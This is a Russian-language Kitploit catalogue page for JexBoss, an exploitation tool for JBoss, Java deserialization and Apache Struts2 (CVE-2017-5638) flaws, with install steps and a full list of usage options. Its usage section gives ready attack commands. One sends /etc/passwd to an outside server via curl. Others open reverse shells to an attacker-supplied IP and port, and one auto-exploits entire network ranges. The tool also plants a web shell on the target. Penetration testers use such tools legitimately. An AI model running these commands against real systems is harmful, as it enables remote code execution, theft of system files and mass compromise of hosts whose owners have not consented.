Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
jexboss — JexBoss: инструмент для проверки и эксплуатации JBoss (и уязвимостей десериализации Java) | Kitploit
Инструменты/GitHubGitHub/joaomatosf/jexboss
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на Проникновение
GitHubjoaomatosf/jexboss

jexboss

JexBoss: инструмент для проверки и эксплуатации JBoss (и уязвимостей десериализации Java)

Репозиторий
2.5k6409 лет назадПроверено Kitploit

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

JexBoss — Инструмент для проверки и эксплуатации уязвимостей JBoss (и других Java-десериализаций)

JexBoss — это инструмент для тестирования и эксплуатации уязвимостей в JBoss Application Server и других Java-платформах, фреймворках, приложениях и т.д.

Требования

  • Python >= 2.7.x
  • urllib3
  • ipaddress

Установка на Linux\Mac

Для установки последней версии JexBoss используйте следующие команды:

root@kitploit:~
git clone https://github.com/joaomatosf/jexboss.git
cd jexboss
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

ИЛИ:

Скачайте последнюю версию по адресу: https://github.com/joaomatosf/jexboss/archive/master.zip
unzip master.zip
cd jexboss-master
pip install -r requires.txt
python jexboss.py -h
python jexboss.py -host http://target_host:8080

Если вы используете CentOS с Python 2.6, установите Python2.7. Пример установки Python 2.7 на CentOS с использованием Collections Software scl:

root@kitploit:~
yum -y install centos-release-scl
yum -y install python27
scl enable python27 bash

Установка на Windows

Если вы используете Windows, вы можете использовать Git Bash для запуска JexBoss. Выполните следующие шаги:

  • Скачайте и установите Python
  • Скачайте и установите Git for Windows
  • После установки запустите Git for Windows и введите следующие команды:
root@kitploit:~
    PATH=$PATH:C:\Python27\
    PATH=$PATH:C:\Python27\Scripts
    git clone https://github.com/joaomatosf/jexboss.git
    cd jexboss
    pip install -r requires.txt
    python jexboss.py -h
    python jexboss.py -host http://target_host:8080
    

Возможности

Инструмент и эксплойты разработаны и протестированы для:

  • JBoss Application Server версий: 3, 4, 5 и 6.
  • Уязвимости десериализации Java во множестве Java-фреймворков, платформ и приложений (например, Java Server Faces - JSF, Seam Framework, RMI over HTTP, Jenkins CLI RCE (CVE-2015-5317), Remote JMX (CVE-2016-3427, CVE-2016-8735) и т.д.)

Векторы эксплуатации:

  • /admin-console
    • протестировано и работает на JBoss версиях 5 и 6
  • /jmx-console
    • протестировано и работает на JBoss версиях 4, 5 и 6
  • /web-console/Invoker
    • протестировано и работает на JBoss версиях 4, 5 и 6
  • /invoker/JMXInvokerServlet
    • протестировано и работает на JBoss версиях 4, 5 и 6
  • Десериализация приложений
    • протестировано и работает против множества Java-приложений, платформ и т.д. через HTTP POST параметры
  • Десериализация сервлетов
    • протестировано и работает против множества Java-приложений, платформ и т.д. через сервлеты, обрабатывающие сериализованные объекты (например, когда вы видите «Invoker» в ссылке)
  • Apache Struts2 CVE-2017-5638
    • протестировано на приложениях Apache Struts 2
  • Другие

Видео

  • Эксплуатация уязвимостей десериализации Java (RCE) на приложениях JSF/Seam через javax.faces.ViewState с помощью JexBoss

Alt text

  • Эксплуатация JBoss Application Server с помощью JexBoss

Alt text

  • Эксплуатация Apache Struts2 (RCE) с помощью JexBoss (CVE-2017-5638)

Alt text

Скриншоты

  • Примеры простого использования:
root@kitploit:~
$ python jexboss.py

alt tag

  • Пример автономного режима против JBoss:
root@kitploit:~
$ python jexboss.py -u http://192.168.0.26:8080

alt tag alt tag

  • Режимы использования:
root@kitploit:~
$ python jexboss.py -h
  • Режим сканирования сети:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Режим сканирования сети с автоэксплуатацией:
root@kitploit:~
$ python jexboss.py -mode auto-scan -A -network 192.168.0.0/24 -ports 8080 -results results.txt

alt tag

  • Результаты и рекомендации:

alt tag

Обратная оболочка (интеграция с meterpreter)

После эксплуатации сервера JBoss вы можете использовать собственную командную оболочку jexboss или выполнить обратное подключение с помощью следующей команды:

root@kitploit:~
   jexremote=YOUR_IP:YOUR_PORT

   Пример:
     Shell>jexremote=192.168.0.10:4444
  • Пример: alt tag

При эксплуатации уязвимостей десериализации Java (десериализация приложений, десериализация сервлетов) опции по умолчанию: создать обратное соединение оболочки или отправить команду для выполнения.

Примеры использования

  • Для уязвимостей десериализации Java в пользовательском HTTP-параметре и отправки пользовательской команды для выполнения на атакованном сервере:
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name --cmd 'curl -d@/etc/passwd http://your_server'
  • Для уязвимостей десериализации Java в пользовательском HTTP-параметре и создания обратной оболочки (запросит IP-адрес и порт вашего удалённого хоста):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H parameter_name
  • Для уязвимостей десериализации Java в сервлете (например, Invoker):
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
  • Для Apache Struts 2 (CVE-2017-5638)
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
  • Для Apache Struts 2 (CVE-2017-5638) с куки для аутентифицированных ресурсов
root@kitploit:~
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
  • Режим автоматического сканирования:
root@kitploit:~
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
  • Режим сканирования из файла:
root@kitploit:~
$ python jexboss.py -mode file-scan -file host_list.txt -out report_file_scan.log
  • Дополнительные опции:
root@kitploit:~
optional arguments:
  -h, --help            показать это справочное сообщение и выйти
  --version             показать версию программы и выйти
  --auto-exploit, -A    Автоматически отправлять код эксплойта (ИСПОЛЬЗУЙТЕ ТОЛЬКО ПРИ НАЛИЧИИ РАЗРЕШЕНИЯ!!!)
  --disable-check-updates, -D
                        Отключить две проверки обновлений: 1) Проверку обновлений,
                        выполняемую веб-оболочкой на атакованном сервере по адресу
                        http://webshell.jexboss.net/jsp_version.txt и 2) проверку
                        обновлений, выполняемую клиентом jexboss по адресу
                        http://joaomatosf.com/rnp/releases.txt
  -mode {standalone,auto-scan,file-scan}
                        Режим работы (ПО УМОЛЧАНИЮ: standalone)
  --app-unserialize, -j
                        Проверить уязвимости десериализации Java в HTTP-параметрах
                        (например, javax.faces.ViewState, oldFormData и т.д.)
  --servlet-unserialize, -l
                        Проверить уязвимости десериализации Java в сервлетах
                        (например, интерфейсы Invoker)
  --jboss               Проверять только векторы JBOSS.
  --jenkins             Проверять только вектор Jenkins CLI.
  --jmxtomcat           Проверить JMX JmxRemoteLifecycleListener в Tomcat
                        (CVE-2016-8735 и CVE-2016-8735). ПРИМ.: Не проверяется по умолчанию.
  --proxy PROXY, -P PROXY
                        Использовать HTTP-прокси для подключения к целевому URL
                        (например, -P http://192.168.0.1:3128)
  --proxy-cred LOGIN:PASS, -L LOGIN:PASS
                        Учётные данные для аутентификации прокси (например, -L name:password)
  --jboss-login LOGIN:PASS, -J LOGIN:PASS
                        Логин и пароль JBoss для эксплуатации admin-console в
                        JBoss 5 и JBoss 6 (по умолчанию: admin:admin)
  --timeout TIMEOUT     Секунды ожидания до тайм-аута соединения (по умолчанию 3)

Режим автономной работы:
  -host HOST, -u HOST   Адрес хоста для проверки (например, -u
                        http://192.168.0.10:8080)

Расширенные опции (ИСПОЛЬЗУЙТЕ ПРИ ЭКСПЛУАТАЦИИ JAVA UNSERIALIZE В УРОВНЕ ПРИЛОЖЕНИЯ):
  --reverse-host RHOST:RPORT, -r RHOST:RPORT
                        Адрес удалённого хоста и порт для обратной оболочки
                        при эксплуатации уязвимостей десериализации Java
                        на уровне приложения (пока работает только в системах
                        *nix) (например, 192.168.0.10:1331)
  --cmd CMD, -x CMD     Отправить конкретную команду для выполнения на цели
                        (например, curl -d @/etc/passwd http://your_server)
  --windows, -w         Указывает, что команды предназначены для системы
                        Windows (cmd.exe)
  --post-parameter PARAMETER, -H PARAMETER
                        Указать параметр для поиска и внедрения
                        сериализованных объектов. (например, -H javax.faces.ViewState
                        или -H oldFormData (<- Привет PayPal =X) или другие)
                        (ПО УМОЛЧАНИЮ: javax.faces.ViewState)
  --show-payload, -t    Вывести сгенерированную полезную нагрузку.
  --gadget {commons-collections3.1,commons-collections4.0,groovy1}
                        Указать тип Gadget для автоматической генерации
                        полезной нагрузки. (ПО УМОЛЧАНИЮ: commons-collections3.1
                        или groovy1 для Jenkins)
  --load-gadget FILENAME
                        Предоставить свой собственный gadget из файла
                        (сериализованный объект Java в сыром виде)
  --force, -F           Принудительно отправлять сериализованные Java-gadget'ы
                        на URL, указанный в параметре -u. Полезная нагрузка
                        будет отправлена в нескольких форматах (например,
                        RAW, GZIPED и BASE64) и с разными Content-Type.

Режим автоматического сканирования:
  -network NETWORK      Сеть для проверки в формате CIDR (например, 10.0.0.0/8)
  -ports PORTS          Список портов, разделённых запятыми, для проверки
                        каждого хоста (например, 8080,8443,8888,80,443)
  -results FILENAME     Имя файла для сохранения результатов автосканирования

Режим сканирования из файла:
  -file FILENAME_HOSTS  Имя файла со списком хостов для сканирования (один хост
                        на строку)
  -out FILENAME_RESULTS
                        Имя файла для сохранения результатов сканирования из файла

Вопросы, проблемы, предложения и т.д.:

  • [email protected]
Скачать инструмент